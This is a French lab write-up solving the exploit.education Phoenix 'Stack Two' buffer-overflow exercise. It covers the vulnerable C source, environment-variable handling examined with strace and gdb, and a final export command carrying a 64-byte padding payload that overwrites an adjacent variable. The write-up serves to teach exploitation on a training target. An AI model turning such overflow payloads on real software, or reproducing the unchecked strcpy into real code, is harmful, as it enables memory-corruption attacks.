kiddie
.:: @OREL ::.

Phoenix - Buffer overflow - Stack 2
[ 22/07/2019 ]
Copie originale : [https]://exploit.education/phoenix/stack-two/ --- [0 - Énoncé [1 - Description du programme [1.1 - Code Source [1.2 - Identification de la vulnérabilité [2 - Méthodologie pour l'exploitation [2.1 - Les variables d'environnements sous Linux [3 - Exploitation de la vulnérabilité [4 - Conclusion ---
[0 - Énoncé
Stack Two takes a look at environment variables, and how they can be set.
[1 - Description du programme
[1.1 - Code Source
/* * phoenix/stack-two, by https://exploit.education * * The aim is to change the contents of the changeme variable to 0x0d0a090a * * If you're Russian to get to the bath room, and you are Finnish when you get * out, what are you when you are in the bath room? * * European! */ #include <err.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define BANNER \ "Welcome to " LEVELNAME ", brought to you by https://exploit.education" int main(int argc, char **argv) { struct { char buffer[64]; volatile int changeme; } locals; char *ptr; printf("%s\n", BANNER); ptr = getenv("ExploitEducation"); if (ptr == NULL) { errx(1, "please set the ExploitEducation environment variable"); } locals.changeme = 0; strcpy(locals.buffer, ptr); if (locals.changeme == 0x0d0a090a) { puts("Well done, you have successfully set changeme to the correct value"); } else { printf("Almost! changeme is currently 0x%08x, we want 0x0d0a090a\n", locals.changeme); } exit(0); }
Le programme comporte une struture nommée locals composées de deux variables, un tableau de 64 chars noté buffer et un integer volatile noté changeme. La fonction getenv() est appelée avec en paramètre la chaîne "ExploitEducation", la valeur retournée est stockée dans un pointeur noté ptr. La fonction strcpy() est appelée avec locals.buffer et ptr en arguments, celle-ci va copiée le contenu de la variable ptr dans locals.buffer. Après la copie, si changeme est égale à la valuer 0x0d0a090a, l'exercice est réussi.
[1.1 - identification de la vulnérabilité
La vulnérabilité reste la même que celle présentée dans les deux exercices précédents, seul la manière dont l'entrée utilisateur est fournie change. Au lieu d'utiliser un argument ou l'entrée standard, la payload doit être fournie via une variable d'environnement.
[2 - Méthodologie d'exploitation
Pour exploiter cette vulnérabilité il faut d'abord comprendre comment les variables d'envi- ronnement sont disponibles dans le contexte de notre programme. L'en-tête du main nous ren- seigne déjà sur deux arguments qui sont passés à notre programme, argc pour le nombre d'ar- guments et argv pour la liste des arguments.
[2.1 - Les variables d'envrionnements sous Linux
Pour déterminer l'origine de ces variables on peut par exemple lancer un strace et analyser comment le système fournit nos arguments au programme :
user@phoenix-amd64:/opt/phoenix/amd64$ strace ./stack-two execve("./stack-two", ["./stack-two"], [/* 16 vars */]) = 0 arch_prctl(ARCH_SET_FS, 0x7ffff7ffdbc8) = 0 set_tid_address(0x7ffff7ffdc08) = 366 mprotect(0x7ffff7ffa000, 4096, PROT_READ) = 0 ioctl(1, TIOCGWINSZ, {ws_row=57, ws_col=239, ws_xpixel=0, ws_ypixel=0}) = 0 writev(1, [{iov_base="Welcome to phoenix/stack-two, br"..., iov_len=73}, ... ) = 74 writev(1, [{iov_base="Almost! changeme is currently 0x"..., iov_len=40}, ... ) = 61 exit_group(0) = ? +++ exited with 0 +++
À première vue, l'appel système execve semble être impliqué dans le passage des arg- uments. On peut vérifier notre hypothèse avec le man de cet appel :
When a C-language program is executed as a result of a call to one of the exec family of functions, it shall be entered as a C-language function call as follows: int main (int argc, char *argv[]); where argc is the argument count and argv is an array of character pointers to the arguments themselves. In addition, the following variable, which must be declared by the user if it is to be used directly: extern char **environ; is initialized as a pointer to an array of character pointers to the environment strings. The argv and environ arrays are each terminated by a null pointer. The null pointer terminating the argv array is not counted in argc. Applications can change the entire environment in a single operation by assigning the environ variable to point to an array of character pointers to the new environment strings. After assigning a new value to environ, applica‐tions should not rely on the new environment strings remaining part of the environment, as a call to getenv(), putenv(), setenv(), unsetenv(), or any function that is dependent on an environment variable may, on noticing thatenviron has changed, copy the environment strings to a new array and assign environ to point to it.
Ces extraits du man confirment le rôle de execve dans le passage des arguments. On apprend aussi l'existence d'une troisième variable nommée environ qui contient un pointeur de poin- teur sur les variables d'environnements. On peut contrôler l'existence de cette variable dans gdb :
(gdb) b main Breakpoint 1 at 0x4006b1 (gdb) r Starting program: /opt/phoenix/amd64/stack-two Breakpoint 1, 0x00000000004006b1 in main () (gdb) p &environ $1 = (<data variable, no debug info> *) 0x7ffff7ffddf8 <environ> (gdb) x/gx 0x7ffff7ffddf8 0x7ffff7ffddf8 <environ>: 0x00007fffffffe6c8 (gdb) x/8gx 0x00007fffffffe6c8 0x7fffffffe6c8: 0x00007fffffffe8cc 0x00007fffffffee88 0x7fffffffe6d8: 0x00007fffffffeeb3 0x00007fffffffeec8 0x7fffffffe6e8: 0x00007fffffffeeda 0x00007fffffffeee4 0x7fffffffe6f8: 0x00007fffffffeefb 0x00007fffffffef04 (gdb) x/s 0x00007fffffffee88 0x7fffffffee88: "SSH_CONNECTION=10.0.2.2 36682 10.0.2.15 22" (gdb) x/s 0x00007fffffffeeda 0x7fffffffeeda: "USER=user" (gdb) info proc mappings process 310 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x400000 0x401000 0x1000 0x0 /opt/phoenix/amd64/stack-two 0x600000 0x601000 0x1000 0x0 /opt/phoenix/amd64/stack-two 0x7ffff7d6b000 0x7ffff7dfb000 0x90000 0x0 /opt/phoenix/x86_64-linux... 0x7ffff7ff6000 0x7ffff7ff8000 0x2000 0x0 [vvar] 0x7ffff7ff8000 0x7ffff7ffa000 0x2000 0x0 [vdso] 0x7ffff7ffa000 0x7ffff7ffb000 0x1000 0x8f000 /opt/phoenix/x86_64-linux... 0x7ffff7ffb000 0x7ffff7ffc000 0x1000 0x90000 /opt/phoenix/x86_64-linux... 0x7ffff7ffc000 0x7ffff7fff000 0x3000 0x0 0x7ffffffde000 0x7ffffffff000 0x21000 0x0 [stack] 0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
Pour synthétiser, les variables d'environnements sont communiquées via l'appel système execve et sont placées sur la stack du programme appelé.
[3 - Exploitation de la vulnérabilité
user@phoenix-amd64:/opt/phoenix/amd64$ export ExploitEducation=$(python -c 'print "A"*64 \ > + "\x0d\x0a\x09\x0a"[::-1]') user@phoenix-amd64:/opt/phoenix/amd64$ ./stack-two Welcome to phoenix/stack-two, brought to you by https://exploit.education Well done, you have successfully set changeme to the correct value
[4 - Conclusion
Cet exercice introduit l'existence des variables d'environnements dans le contexte d'exécution et la possibilité de les utiliser pour transmettre des exploits.

Tout est faux tout est conforme.